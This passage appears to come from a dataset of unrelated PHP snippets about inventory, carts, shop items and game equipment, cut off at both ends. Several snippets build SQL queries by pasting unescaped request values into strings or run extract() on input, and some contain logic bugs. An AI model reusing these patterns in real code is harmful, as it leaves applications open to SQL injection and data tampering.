$this->inventory_loaded = true;\n }", "protected function updateItems()\n {\n $this->log(\"Loading items...\");\n\n /** @var Item[] $items */\n $items = Item::find()->all();\n\n foreach ($items as $item) {\n if (!$this->hasItemSavedValue($item->id)) {\n $this->saveItemValue($item->id, $item->getDefaultNAValue(), $item->type, false);\n }\n }\n\n $this->log(\"Done\");\n }", "function items( $params ) {\n\t\textract( $params );\n\n\t\t// Should zcarriage be in the list of items or not? If $zcarriage='NO' exclude the zcarriage from the return result\n\t\t$zcarriage = !empty( $zcarriage ) && $zcarriage == 'NO' ? \" AND ci.sku<>'zcarriage'\" : '';\n\n\t\t$qry = \"SELECT ci.*, product, product_image, model_type FROM cart ct INNER JOIN cart_items ci ON ct.id=ci.cart_id LEFT OUTER JOIN catalog c ON c.sku=ci.sku WHERE ct.id='\".$cart_id.\"' AND user='\".$user_no.\"' \".$zcarriage.\" AND ci.qty>0 GROUP BY ci.sku\";\n\t\treturn $this->db->query( $qry )->result_array();\n\t}", "public function handle(ActionFields $fields, Collection $models)\n {\n //\n\n $itemArrays = $fields -> item;\n $newArray = json_decode($itemArrays);\n\n foreach ($models as $model){\n foreach ($newArray as $getItem){\n\n $itemArray = $getItem->items;\n\n foreach ($itemArray as $item) {\n\n //if serial number bang null thi se ko add vao array\n $serialInputArray = [];\n if($item -> serialNumber != \"\"){\n array_push($serialInputArray, $item->serialNumber );\n }\n\n $newItem = Item::where('serialNumber', $item -> serialNumber)->first();\n if($newItem && $newItem->stockStatus == false){\n $newItem->stockStatus = true;\n $newItem->sale_order_id = null;\n $newItem->save();\n\n $updateSaleOrderModelType = \\App\\Models\\SaleOrderItem::where('id', $getItem -> id)->first();\n\n if($updateSaleOrderModelType){\n $updateSaleOrderModelType -> qty = $updateSaleOrderModelType -> qty + count($serialInputArray);\n $updateSaleOrderModelType -> shipped -= count($serialInputArray);\n $updateSaleOrderModelType -> save();\n }\n\n }\n }\n }\n }\n\n\n\n\n\n\n// $newArrays = [];\n//\n// $myArrs = explode(',', $fields->item);\n//\n// foreach ($models as $model) {\n// $sale_orders = SaleOrderModelType::where('sale_order_id', $model->id)->get();\n// $counting = count($myArrs);\n//\n// foreach ($myArrs as $myArr) {\n// $removeTrim = trim($myArr);\n//\n// if (!in_array($removeTrim, $newArrays)) {\n// array_push($newArrays, $removeTrim);\n//\n//\n// $items = Item::where('serialNumber', $removeTrim)->first();\n//\n// if ($items) {\n// $items -> stockStatus = true;\n// $items -> sale_order_id = null;\n// $items -> save();\n//\n// }\n// }\n//\n// }\n//\n// if($sale_orders){\n// foreach ($sale_orders as $sale_order){\n//\n// if($sale_order && $sale_order -> shipped > 0 && $sale_order -> shipped <= $counting ){\n// $sale_order -> qty += $sale_order -> shipped;\n// $counting -= $sale_order -> shipped;\n// $sale_order -> shipped = 0;\n// $sale_order -> save();\n// if($counting == 0){\n// return Action::message('Success');\n// }\n//\n// }elseif ($sale_order && $sale_order -> shipped > 0 && $sale_order -> shipped > $counting ){\n// $sale_order -> qty += $counting;\n// $sale_order -> shipped -= $counting;\n// $counting = 0;\n// $sale_order -> save();\n// if($counting == 0){\n// return Action::message('Success');\n// }\n// }\n// $counting -> save();\n//\n// }\n//\n// }\n//\n//\n// }\n }", "function build_array_of_ordered_items( $item ) {\n\n\t// Declare an array to populate with item information\n\t$item_array = array();\n\n\t// Get the SKU for the item, using the variation_id\n\t$sku = get_post_meta( $item['variation_id'], '_sku', true );\n\t// Get the quantity of the item sold from the item object\n\t$quantity = $item['quantity'];\n\t// Get the name of the item sold from the item object\n\t$name = $item['name'];\n\t// Get the total cost of the item sold from the item object\n\t$total = $item['total'];\n\n\t// Add these variables to the item_array\n\t$item_array['SKUSize'] = $sku;\n\t// $item_array['Article'] = $name;\n\t$item_array['Quantity'] = $quantity;\n\t$item_array['Item_Price'] = floatval($total / $quantity);\n\t$item_array['Line_Total'] = floatval($total);\n\n\t// Return the result of the array\n\treturn $item_array;\n\n}", "private function loadItems()\n {\n if ($this->items === null) {\n $this->items = $this->storage->load();\n }\n }", "public function getItems()\n {\n $Items = $this->mysql->QUERY(\n 'SELECT player_equipment.*,\n server_items.NAME,\n server_items.CATEGORY,\n server_items.LOOT_ID,\n server_items.SLOTS,\n server_items.DAMAGE,\n server_items.SHIELD,\n server_items.SHIELD_ABSORBATION,\n server_items.SPEED,\n server_items.SELLING_CREDITS\n FROM player_equipment, server_items\n WHERE player_equipment.USER_ID = ?\n AND player_equipment.PLAYER_ID = ?\n AND server_items.ID = player_equipment.ITEM_ID\n ORDER BY server_items.TYPE ASC,\n server_items.ID DESC,\n player_equipment.ITEM_LVL DESC',\n [$this->user->USER_ID, $this->user->PLAYER_ID]);\n return $Items;\n }", "protected function _getItemQtys() {\n /**\n * Inilize shipment data\n */\n $data = $this->getRequest ()->getParam ( 'shipment' );\n /**\n * Prepare shipment qtys\n */\n if (isset ( $data ['items'] )) {\n $qtys = $data ['items'];\n } else {\n $qtys = array ();\n }\n /**\n * Return shipment qty\n */\n return $qtys;\n }", "public function inventoryPush($itemData)\r\n {\r\n if (isset($itemData['records'])) {\r\n $itemData = $itemData['records'];\r\n }\r\n $response = array();\r\n $response['records'] = array();\r\n $resourceModel = Mage::getResourceModel('retailops_api/api');\r\n\r\n $orderQtys = array();\r\n if( !empty( $itemData ) ) {\r\n Mage::log('In', null, 'retailops.log');\r\n Mage::log(print_r($itemData, true), null, 'retailops.log');\r\n $orderQtys = $resourceModel->getRetailopsNonretrievedQtys();\r\n }\r\n $productIds = $this->getProductIds($itemData);\r\n\r\n foreach ($itemData as $item) {\r\n try {\r\n Mage::dispatchEvent(\r\n 'retailops_inventory_push_record',\r\n array('record' => $stockObj)\r\n );\r\n\r\n $stockObj = $resourceModel->subtractNonretrievedQtys($orderQtys, $item);\r\n\r\n Mage::dispatchEvent(\r\n 'retailops_inventory_push_record_qty_processed',\r\n array('record' => $stockObj)\r\n );\r\n\r\n $this->update($productIds[$stockObj->getSku()], $stockObj->getData());\r\n\r\n $result['status'] = RetailOps_Api_Helper_Data::API_STATUS_SUCCESS;\r\n } catch (Mage_Core_Exception $e) {\r\n $result['status'] = RetailOps_Api_Helper_Data::API_STATUS_FAIL;\r\n $result['error'] = array(\r\n 'code' => $e->getCode(),\r\n 'message' => $e->getMessage()\r\n );\r\n }\r\n $response['records'][] = $result;\r\n }\r\n\r\n return $response;\r\n }", "private static function parse_items($items){\n $results = [];\n foreach($items as $item){\n $title = $item->find('.title a')[0];\n if(empty($title)){\n $title = $item->find('.featured-ad-title a')[0];\n }\n try{\n $item_data = [\n \"title\" => $title->text,\n \"date\" => $item->find('.date')[0]->text,\n \"url\" => $title->getAttribute(\"href\"),\n \"location\" => $item->find('.location')[0]->text\n ];\n\n $price = trim($item->find('.price')[0]->text);\n\n $m = explode(\" \", $price);\n if(count($m) > 1){\n $item_data[\"price\"] = intval(str_replace(\",\", \"\", $m[1]));\n $item_data[\"currency\"] = $m[0];\n }else{\n $item_data[\"price\"] = 0;\n $item_data[\"currency\"] = \"UNKNOWN\";\n }\n\n try{\n $category = $item->find('.description .breadcrumbs')[0];\n if(is_object($category)){\n $item_data[\"category\"] = $category->text;\n }else{\n $item_data[\"category\"] = $category;\n }\n }catch(Exception $e){\n $item_data[\"category\"] = \"\";\n }\n\n $photo_block = $item->find(\".thumb div\");\n if(!empty($photo_block)){\n $style = $photo_block->getAttribute(\"style\");\n preg_match(\"/http.*\\.\\w*/\", $style, $result);\n if(!empty($result)){\n $item_data[\"photo\"] = $result[0];\n }else{\n $item_data[\"photo\"] = \"\";\n }\n }else{\n $item_data[\"photo\"] = \"\";\n }\n\n\n array_push($results, $item_data);\n }catch(Exception $e){\n continue;\n }\n }\n return $results;\n }", "public function testSingleInventory()\n {\n $inventory = new Inventory();\n $inventory->setSheetName('Sheet 1');\n $inventory->setSpreadsheetName('Spreadsheet x');\n $inventory->setSpreadsheetUrl('https://docs.google.com/spreadsheets/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/edit');\n\n $stockItems = [];\n $stockItem1 = new StockItem();\n $stockItem1->setName('Product 1');\n $stockItem1->setKNumber('111111');\n $stockItem1->setKNumberExists('true');\n $stockItem1->setPurpose('11');\n $stockItem1->setInventoryQuantity('99.99');\n $stockItem1->setAlternativeNumber('');\n $stockItem1->setPurposeOther('1x1x');\n $stockItems[] = $stockItem1;\n\n $stockItem1 = new StockItem();\n $stockItem1->setName('Product 2');\n $stockItem1->setKNumber('');\n $stockItem1->setKNumberExists('false');\n $stockItem1->setAdditionalKNumbers('55');\n $stockItem1->setPurpose('22,33');\n $stockItem1->setInventoryQuantity('88888');\n $stockItem1->setAlternativeNumber('xx22');\n $stockItem1->setInventoryContainerId('xx33');\n $stockItem1->setPurposeOther('2x2x');\n $stockItem1->setHandlingStatus('HANDLING');\n $stockItem1->setSupplierRegistrationNumber('SUPX');\n $stockItems[] = $stockItem1;\n\n $inventory->setStockItems($stockItems);\n\n $serializer = new InventoryXmlSerializer();\n $xml = $serializer->processDomainGSheetObjects([$inventory]);\n\n $expectedXml = <<<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<Products>\n <Product>\n <Inventory src-sheet=\"Spreadsheet x\" src-tab=\"Sheet 1\" src-sheet-url=\"https://docs.google.com/spreadsheets/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/edit\">\n <StockItem>\n <KNumberExists>true</KNumberExists>\n <KNumber>111111</KNumber>\n <AdditionalKNumbers></AdditionalKNumbers>\n <AlternativeNumber></AlternativeNumber>\n <InventoryContainerID></InventoryContainerID>\n <Name>Product 1</Name>\n <Purposes>\n <Purpose>11</Purpose>\n </Purposes>\n <PurposeOther>1x1x</PurposeOther>\n <InventoryQuantity>99.99</InventoryQuantity>\n <HandlingStatus></HandlingStatus>\n <SupplierRegistrationNumber></SupplierRegistrationNumber>\n </StockItem>\n <StockItem>\n <KNumberExists>false</KNumberExists>\n <KNumber></KNumber>\n <AdditionalKNumbers>55</AdditionalKNumbers>\n <AlternativeNumber>xx22</AlternativeNumber>\n <InventoryContainerID>xx33</InventoryContainerID>\n <Name>Product 2</Name>\n <Purposes>\n <Purpose>22,33</Purpose>\n </Purposes>\n <PurposeOther>2x2x</PurposeOther>\n <InventoryQuantity>88888</InventoryQuantity>\n <HandlingStatus>HANDLING</HandlingStatus>\n <SupplierRegistrationNumber>SUPX</SupplierRegistrationNumber>\n </StockItem>\n </Inventory>\n </Product>\n</Products>\n\nXML;\n\n $this->assertEquals($expectedXml, $xml);\n }", "function in($code=\"\", $category=\"\", $qty=0, $nominal=\"\", $desc=\"\", $type=INVENTORY_TYPE, $warehouse=0)\n {\n $product = $this->m_product->getdata_detail(array(\"product_variant_code\"=>$code));\n\n if($code==\"\" || $category==\"\" || $qty==\"\" || $nominal==\"\" || $product->num_rows()!=1)\n {\n die(\"parameter insert inventory harus di lengkapi, item code : $code, category : $category\");\n }\n\n $data = $this->getdata(array(\"inventory_item_code\"=>$code, \"inventory_categories\"=>$category),1,\"\",\"inventory_id\",\"desc\");\n\n // jika tidak ada item ini di inventory maka tidak perlu kalkulasi stock_awal, average_nominal dll\n if($data->num_rows()!=1)\n {\n $stock_awal = 0;\n $nominal_awal = 0;\n $nominal_average = $nominal;\n $total_qty = $qty;\n $total_nominal = $nominal*$qty;\n }\n else {\n // hitung average\n for($a=0;$a<($qty+$data->row()->inventory_total_stock_now);$a++)\n {\n if($a<$qty)\n {\n $avr[] = $nominal;\n }\n else {\n $avr[] = $data->row()->inventory_average_nominal_now_per_item;\n }\n }\n\n $nominal_average = array_sum($avr)/($qty+$data->row()->inventory_total_stock_now);\n $stock_awal = $data->row()->inventory_total_stock_now;\n $nominal_awal = $data->row()->inventory_total_nominal_now;\n $total_qty = $data->row()->inventory_total_stock_now+$qty;\n $total_nominal = $data->row()->inventory_total_nominal_now+($nominal*$qty);\n }\n\n // set nama product\n if($product->row()->product_variant_type==\"\" || $product->row()->product_variant_value==\"\")\n {\n $name = $product->row()->product_name;\n }\n else {\n $name = $product->row()->product_name.\" - \".$product->row()->product_variant_type.\" - \".$product->row()->product_variant_value;\n }\n\n // set log inventory\n if($desc==\"\")\n {\n $desc = \"insert by \".$this->session->userdata('username');\n }\n\n $data_insert = array(\n \"inventory_item_code\" => $code,\n \"inventory_name\" => $name,\n \"inventory_categories\" => $category,\n \"inventory_item_type\" => $type,\n \"inventory_operator\" => \"in\",\n \"inventory_qty\" => $qty,\n \"inventory_nominal_per_item\" => $nominal,\n \"inventory_total_nominal\" => $nominal*$qty,\n \"inventory_stock_awal\" => $stock_awal,\n \"inventory_nominal_stock_awal\" => $nominal_awal,\n \"inventory_average_nominal_now_per_item\" => $nominal_average,\n \"inventory_total_stock_now\" => $total_qty,\n \"inventory_total_nominal_now\" => $total_nominal,\n \"inventory_warehouse_id\" => $warehouse,\n \"inventory_date_craeted\" => date('Y-m-d H:i:s'),\n \"inventory_log\" => $desc,\n );\n $this->db->insert('inventory', $data_insert);\n return $this->db->insert_id();\n }", "private function ImportEquipment()\n {\n\t\tDebug::log('<hr><h3>Common Equipment</h3>', LEVEL_NORMAL);\n\n global $mysql;\n\n $equipment = simplexml_load_file($this->vehicles_path . '/common/optional_devices.xml');\n\n foreach($equipment->children() as $node => $item) {\n $icon = (string)$item->icon;\n $icon = explode(' ', $icon);\n $icon = $icon[0];\n $icon = str_replace('../maps/icons/artefact/', '', $icon);\n \n $price = 0;\n $price_gold = 0;\n if (isset($item->price->gold))\n {\n $price_gold = (int)$item->price;\n }else{\n $price = (int)$item->price;\n }\n \n $weight = 0;\n if (isset($item->script->weight))\n $weight = (int)$item->script->weight;\n \n $include = '';\n $exclude = '';\n \n $inc = 'include';\n if (isset($item->vehicleFilter->$inc->vehicle->tags)){\n $include = (string)$item->vehicleFilter->$inc->vehicle->tags;\n }\n if (isset($item->vehicleFilter->exclude->vehicle->tags)){\n $exclude = (string)$item->vehicleFilter->exclude->vehicle->tags;\n }\n \n //remove tabs\n $include = preg_replace('/\\s+/', ' ', $include);\n $exclude = preg_replace('/\\s+/', ' ', $exclude);\n \n $data = array(\n 'wot_version_id' => $this->versionId,\n 'name' => $this->TranslateToLocal((string)$item->userString),\n 'name_node' => $node,\n 'description' => $this->TranslateToLocal((string)$item->description),\n 'icon' => $icon,\n 'price' => $price,\n 'price_gold' => $price_gold,\n 'removable' => (mb_strtolower(((string)$item->removable)) == mb_strtolower('true') ? 1 : 0),\n 'weight' => $weight,\n 'vehicle_tags_include' => $mysql->quoteString($include),\n 'vehicle_tags_exclude' => $mysql->quoteString($exclude)\n );\n \n $this->InsertData('wot_equipment',$node,\"name_node = '$node' AND wot_version_id = '$this->versionId'\",$data);\n\n $equipment_id = $mysql->query(\"SELECT wot_equipment_id FROM wot_equipment WHERE name_node = '$node' AND wot_version_id = '$this->versionId'\");\n $equipment_id = $mysql->row($equipment_id);\n $equipment_id = $equipment_id['wot_equipment_id'];\n\n $break = false;\n \n foreach($item->script->children() as $param_node => $param_value) {\n if ($param_node == 'weight'){\n continue;\n }\n if ($param_node == 'attribute' || $param_node == 'value' || $param_node == 'factor') {\n $data = array(\n 'wot_equipment_id' => $equipment_id,\n 'param' => (string)$item->script->attribute,\n 'value' => isset($item->script->value) ? (string)$item->script->value : (string)$item->script->factor\n );\n $break = true;\n } else {\n $data = array(\n 'wot_equipment_id' => $equipment_id,\n 'param' => (string)$param_node,\n 'value' => (string)$param_value\n );\n }\n if (strpos($data['param'], '/'))\n {\n $data['param'] = substr($data['param'], strpos($data['param'], '/')+1);\n }\n \n $this->InsertData('wot_equipment_params',$node,\"wot_equipment_id = '$equipment_id' AND param = '{$data['param']}'\",$data);\n\n if ($break)\n {\n break;\n }\n }\n \n }\n }", "function getStoreContentsBySlot($store_id, $journey_id, $character_id, $player_id, $slot) {\n\t\t\n\t\taddToDebugLog(\"manageEquipment(), Function Entry - supplied parameters: Player ID: \" . $player_id . \"; Journey ID: \" . $journey_id . \"; Character ID: \" . $charcter_id . \"; Store ID: \" . $store_id . \", INFO\");\n\n\t\t$row_limit = 3;\n\t\t\n\t\tif ($slot == 'weapon') {\n\t\t\t$order_by = \"item_attack_boost DESC\";\n\t\t} else {\n\t\t\t$order_by = \"item_ac_boost DESC\";\n\t\t}\n\t\t\n\t\t$sql = \"SELECT * FROM hackcess.store_contents WHERE store_id = \" . $store_id . \" AND item_slot = '\" . $slot . \"' ORDER BY \" . $order_by . \" LIMIT \" . $row_limit . \";\";\n\t\t$result = search($sql);\n\t\t$rows = count($result);\n\t\tif ($rows < $row_limit) {\n\t\t\t$row_limit = $rows;\n\t\t}\n\t\t\n\t\tif ($rows > 0) {\n\t\t\n\t\t\t// Get character gold\n\t\t\t$character_gold = getCharacterDetailsInfo($character_id, 'gold');\n\t\n\t\t\techo \"<tr><td colspan=5 bgcolor=#ddd align=center>\" . ucfirst($slot) . \"</tr>\";\n\t\t\t\n\t\t\tfor ($i = 0; $i < $row_limit; $i++) {\n\t\t\n\t\t\t\t$boost = $result[$i][3] + $result[$i][4];\n\t\t\t\techo \"<tr><td>+\" . $boost . \" \" . $result[$i][2]; // Item and Boost\n\t\t\t\techo \"<td align=center>\" . $result[$i][5]; // Weight\n\t\t\t\techo \"<td align=center>\" . $result[$i][7]; // Value\n\t\t\t\tif ($result[$i][7] <= $character_gold) { \n\t\t\t\t\techo \"<td align=center><a href='store.php?journey_id=\" . $journey_id . \"&character_id=\" . $character_id . \"&player_id=\" . $player_id . \"&store_id=\" . $store_id . \"&action=buy&item_id=\" . $result[$i][0] . \"'>Buy</a>\"; // Action\n\t\t\t\t} else {\n\t\t\t\t\techo \"<td align=center>-\";\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\techo \"</tr>\";\n\t\t\t\t\t\n\t\t\t}\n\t\t\n\t\t}\n\t\t\n\t}", "public function updateInventory(){\n//\t\t$this->ddd($this->request->data);\n\t\t\textract($this->request->data);\n\t\t\t$customerUserId = $this->Item->discoverCustomerUserId($itemId);\n\t\t\t//this->request->data contains\n\t\t\t//array(\n\t\t\t//\t'pullQty' => '1',\n\t\t\t//\t'itemId' => '90',\n\t\t\t//\t'rowId' => '52d08471-8838-4330-b765-00ed47139427',\n\t\t\t//\t'onHand' => 'undefined',\n\t\t\t//\t'mode' => 'pull'\n\t\t\t//)\n\t\t\t//setup return array\n\t\t\t$returnArray['rowId'] = '#row-'. $rowId;\n\n\t\t\t//update the orderItem pull status, conditionally\n\t\t\tif ($mode == 'pull') {\n\t\t\t\t$onHand = $this->updateKitInventory();\n\t\t\t\t$pullFlag = ($pullQty > 0) ? 0 : 1;\n\t\t\t\t$this->Item->OrderItem->id = $rowId;\n\t\t\t\t$this->Item->OrderItem->saveField('pulled', $pullFlag);\n\t\t\t\t$orderNumber = $this->Item->OrderItem->pullOrderNumber($rowId);\n\t\t\t} else {\n\t\t\t\t$pullFlag = ($pullQty < 0) ? 0 : 1;\n\t\t\t\t$this->Item->ReplenishmentItem->id = $rowId;\n\t\t\t\t$this->Item->ReplenishmentItem->saveField('pulled', $pullFlag);\n\t\t\t\t$orderNumber = $this->Item->ReplenishmentItem->pullOrderNumber($rowId);\n\t\t\t}\n\t\t\t//validate the inventory change and handle onHand changes\n\t\t\t$success = $this->validateInventoryChange($itemId, $pullQty, $onHand);\n\n\t\t\t//if validation succeeds, proceed ($this->itemRecord set by validate method)\n\t\t\tif ($success) {\n\t\t\t\t$origQty = $this->itemRecord['Item']['quantity'];\n\n\t\t\t\t$this->itemRecord['Item']['quantity'] = $newQty = $this->calculateItemQuantity($this->request->data);\n\n//\t\t$this->ddd($this->itemRecord, 'itemRecord');\n//\t\tdie;\n\n\t\t\t\tif ($this->Item->save($this->itemRecord)) {\n\t\t\t\t\t$returnArray['item'] = $this->itemRecord;\n\t\t\t\t} else {\n\t\t\t\t\t$returnArray['item'] = false;\n\t\t\t\t}\n\t\t\t\t$itemId = $this->itemRecord['Item']['id'];\n//\t\t\t\t$itemName = $this->itemRecord['Item']['name'];\n\t\t\t\t\n\t\t\t\t$this->Log->create('adjustment');\n\t\t\t\t$this->Log\n\t\t\t\t\t->set('customer', $customerUserId)\n\t\t\t\t\t->set('id', $itemId)\n\t\t\t\t\t->set('name', $this->itemRecord['Item']['name'])\n\t\t\t\t\t->set('from', $origQty)\n\t\t\t\t\t->set('to', $newQty)\n\t\t\t\t\t->set('change', $newQty-$origQty)\n\t\t\t\t\t->set('number', $orderNumber)\n\t\t\t\t\t->set('by', $this->Item->OrderItem->Order->User->discoverName($this->Auth->user('id')));\n\t\t\t\t$this->Log->toString();\n\t\t\t\tCakeLog::write('inventory', $this->Log->logLineOut);\n//\t\t\t\tCakeLog::write('inventory', \"[$customerUserId] Inventory adjustment of id:$itemId::$itemName from $origQty to $newQty ($pullQty) by \" . $this->Item->OrderItem->Order->User->discoverName($this->Auth->user('id')));\n\n\t\t\t\tif ($mode = 'replenishment') {\n\t\t\t\t\tarray_merge($returnArray, $this->Item->manageUncommitted($itemId));\n\t\t\t\t\tarray_merge($returnArray, $this->Item->managePendingQty($itemId));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$returnArray['item'] = false;\n\t\t\t}\n\t\t\t$returnArray['error'] = $this->error;\n $this->autoRender = false;\n\t\t\techo json_encode($returnArray);\n }", "public function check_product_items(){\n\t\t$arr = $this->arr_product_items;\n\t\t//taxper\n\t\tif(isset($arr['taxper']))\n\t\t\t$this->arr_product_items['taxper'] = (float)$arr['taxper'];\n\t\telse\n\t\t\t$this->arr_product_items['taxper'] = 0;\n\t\t//sizew_unit\n\t\tif(!isset($arr['sizew_unit']) || $arr['sizew_unit']=='')\n\t\t\t$this->arr_product_items['sizew_unit'] = 'in';\n\t\t//sizeh_unit\n\t\tif(!isset($arr['sizeh_unit']) || $arr['sizeh_unit']=='')\n\t\t\t$this->arr_product_items['sizeh_unit'] = 'in';\n\t\t//sizew\n\t\tif(isset($arr['sizew']))\n\t\t\t$this->arr_product_items['sizew'] = (float)$arr['sizew'];\n\t\telse\n\t\t\t$this->arr_product_items['sizew'] = 0;\n\t\t//sizeh\n\t\tif(isset($arr['sizeh']))\n\t\t\t$this->arr_product_items['sizeh'] = (float)$arr['sizeh'];\n\t\telse\n\t\t\t$this->arr_product_items['sizeh'] = 0;\n\t\t//quantity\n\t\tif(isset($arr['quantity']))\n\t\t\t$this->arr_product_items['quantity'] = (float)$arr['quantity'];\n\t\telse\n\t\t\t$this->arr_product_items['quantity'] = 0;\n\n\t\t//adj_qty\n\t\t$this->arr_product_items['adj_qty'] = 0;\n\n\t\t//oum\n\t\tif(!isset($arr['oum']))\n\t\t\t$this->arr_product_items['oum'] = 'unit';\n\n\t\t//oum_depend\n\t\tif(!isset($arr['oum_depend']))\n\t\t\t$this->arr_product_items['oum_depend'] = 'unit';\n\t\tif(isset($arr['oum_depend']) && $arr['oum_depend']=='Sq. ft.')\n\t\t\t$this->arr_product_items['oum_depend'] = 'Sq.ft.';\n\n\t\t//sell_price\n\t\tif(isset($arr['sell_price']))\n\t\t\t$this->arr_product_items['sell_price'] = (float)$arr['sell_price'];\n\t\telse\n\t\t\t$this->arr_product_items['sell_price'] = 0;\n\n\t\t//plus_sell_price\n\t\tif(isset($arr['plus_sell_price']))\n\t\t\t$this->arr_product_items['plus_sell_price'] = (float)$arr['plus_sell_price'];\n\t\telse\n\t\t\t$this->arr_product_items['plus_sell_price'] = 0;\n\n\t\t//plus_price\n\t\tif(isset($arr['plus_unit_price']))\n\t\t\t$this->arr_product_items['plus_unit_price'] = (float)$arr['plus_unit_price'];\n\t\telse\n\t\t\t$this->arr_product_items['plus_unit_price'] = 0;\n\n\t\t//reset unit_price\n\t\t\t$this->arr_product_items['unit_price'] = 0;\n\t\t//reset sub_total\n\t\t\t$this->arr_product_items['sub_total'] = 0;\n\t\t//reset tax\n\t\t\t$this->arr_product_items['tax'] = 0;\n\t\t//reset amount\n\t\t\t$this->arr_product_items['amount'] = 0;\n\n\t}", "public function setBuffFromItems()\n {\n\n if (isset($_SESSION[\"inventory\"]) && sizeof($_SESSION[\"inventory\"]) > 0) {\n\n $atk_total_items = 0;\n $health_total_items = 0;\n $mana_total_items = 0;\n\n foreach ($_SESSION['inventory'] as $item) {\n if ($item->getStatAtk()) {\n $atk_total_items += $item->getStatAtk();\n }\n if ($item->getStatHealth()) {\n $health_total_items += $item->getStatHealth();\n }\n if ($item->getStatMana()) {\n $mana_total_items += $item->getStatMana();\n }\n }\n\n $_SESSION[\"character\"]->setAtk($_SESSION[\"character\"]->getBaseAtk() + $atk_total_items);\n $_SESSION[\"character\"]->setHp($_SESSION[\"character\"]->getBaseHp() + $health_total_items);\n $_SESSION[\"character\"]->setMana($_SESSION[\"character\"]->getBaseMana() + $mana_total_items);\n\n $_SESSION[\"character\"]->setBuffActivated(true);\n }\n }", "public function actionWalmartproductinventoryinfo()\n {\n $sku = false;\n $productdata = \"add sku on url like ?sku=product_sku\";\n if (isset($_GET['sku'])) {\n $sku = $_GET['sku'];\n }\n $merchant_id = MERCHANT_ID;\n $config = Data::getConfiguration($merchant_id);\n $walmartHelper = new Walmartapi($config['consumer_id'], $config['secret_key']);\n if ($sku) {\n $productdata = $walmartHelper->getInventory($sku);\n }\n\n print_r($productdata);\n die;\n }", "function mymodule_tag_iteminfo(&$items)\r\n{\r\n $items_id = array();\r\n foreach (array_keys($items) as $cat_id) {\r\n // Some handling here to build the link upon catid\r\n // If catid is not used, just skip it\r\n foreach (array_keys($items[$cat_id]) as $item_id) {\r\n // In article, the item_id is \"art_id\"\r\n $items_id[] = intval($item_id);\r\n }\r\n }\r\n $item_handler =& xoops_getmodulehandler(\"item\", \"module\");\r\n $items_obj = $item_handler->getObjects(new Criteria(\"itemid\", \"(\" . implode(\", \", $items_id) . \")\", \"IN\"), true);\r\n \r\n foreach (array_keys($items) as $cat_id) {\r\n foreach (array_keys($items[$cat_id]) as $item_id) {\r\n $item_obj =& $items_obj[$item_id];\r\n $items[$cat_id][$item_id] = array(\r\n \"title\" => $item_obj->getVar(\"item_title\"),\r\n \"uid\" => $item_obj->getVar(\"uid\"),\r\n \"link\" => \"view.item.php?itemid={$item_id}\",\r\n \"time\" => $item_obj->getVar(\"item_time\"),\r\n \"tags\" => tag_parse_tag($item_obj->getVar(\"item_tags\", \"n\")), // optional\r\n \"content\" => \"\",\r\n );\r\n }\r\n }\r\n unset($items_obj); \r\n}", "public function items()\n\t{\n\t\treturn $this->hasMany(InventoryMaterial::class, 'inventory_id');\n\t}", "public function declareOldItems() {\n // Old itemtypes\n define(\"GENERAL_TYPE\", 0);\n define(\"COMPUTER_TYPE\", 1);\n define(\"NETWORKING_TYPE\", 2);\n define(\"PRINTER_TYPE\", 3);\n define(\"MONITOR_TYPE\", 4);\n define(\"PERIPHERAL_TYPE\", 5);\n define(\"SOFTWARE_TYPE\", 6);\n define(\"CONTACT_TYPE\", 7);\n define(\"ENTERPRISE_TYPE\", 8);\n define(\"INFOCOM_TYPE\", 9);\n define(\"CONTRACT_TYPE\", 10);\n define(\"CARTRIDGEITEM_TYPE\", 11);\n define(\"TYPEDOC_TYPE\", 12);\n define(\"DOCUMENT_TYPE\", 13);\n define(\"KNOWBASE_TYPE\", 14);\n define(\"USER_TYPE\", 15);\n define(\"TRACKING_TYPE\", 16);\n define(\"CONSUMABLEITEM_TYPE\", 17);\n define(\"CONSUMABLE_TYPE\", 18);\n define(\"CARTRIDGE_TYPE\", 19);\n define(\"SOFTWARELICENSE_TYPE\", 20);\n define(\"LINK_TYPE\", 21);\n define(\"STATE_TYPE\", 22);\n define(\"PHONE_TYPE\", 23);\n define(\"DEVICE_TYPE\", 24);\n define(\"REMINDER_TYPE\", 25);\n define(\"STAT_TYPE\", 26);\n define(\"GROUP_TYPE\", 27);\n define(\"ENTITY_TYPE\", 28);\n define(\"RESERVATION_TYPE\", 29);\n define(\"AUTHMAIL_TYPE\", 30);\n define(\"AUTHLDAP_TYPE\", 31);\n define(\"OCSNG_TYPE\", 32);\n define(\"REGISTRY_TYPE\", 33);\n define(\"PROFILE_TYPE\", 34);\n define(\"MAILGATE_TYPE\", 35);\n define(\"RULE_TYPE\", 36);\n define(\"TRANSFER_TYPE\", 37);\n define(\"BOOKMARK_TYPE\", 38);\n define(\"SOFTWAREVERSION_TYPE\", 39);\n define(\"PLUGIN_TYPE\", 40);\n define(\"COMPUTERDISK_TYPE\", 41);\n define(\"NETWORKING_PORT_TYPE\", 42);\n define(\"FOLLOWUP_TYPE\", 43);\n define(\"BUDGET_TYPE\", 44);\n\n // Old devicetypes\n define(\"MOBOARD_DEVICE\", 1);\n define(\"PROCESSOR_DEVICE\", 2);\n define(\"RAM_DEVICE\", 3);\n define(\"HDD_DEVICE\", 4);\n define(\"NETWORK_DEVICE\", 5);\n define(\"DRIVE_DEVICE\", 6);\n define(\"CONTROL_DEVICE\", 7);\n define(\"GFX_DEVICE\", 8);\n define(\"SND_DEVICE\", 9);\n define(\"PCI_DEVICE\", 10);\n define(\"CASE_DEVICE\", 11);\n define(\"POWER_DEVICE\", 12);\n }", "public function buyItems($data);", "public function store(ItemRequest $request)\n\t{\n\t\t $items = new Item;\n //$items->upc_ean_isbn = Input::get('upc_ean_isbn');\n $items->item_code = Input::get('item_code');\n $items->item_name = Input::get('item_name');\n $items->size = Input::get('size');\n $items->description = Input::get('description');\n $items->cost_price = Input::get('cost_price');\n $items->selling_price = Input::get('selling_price');\n //$items->quantity = Input::get('quantity');\n $tempTotalQuantity=0;\n if($items->save()){\n\t\t\t\t$batch_arr = Input::get('batch_arr');\n\t\t\t\t$count = count($batch_arr['batch_no']);\n\t // process inventory\n\t if($count != 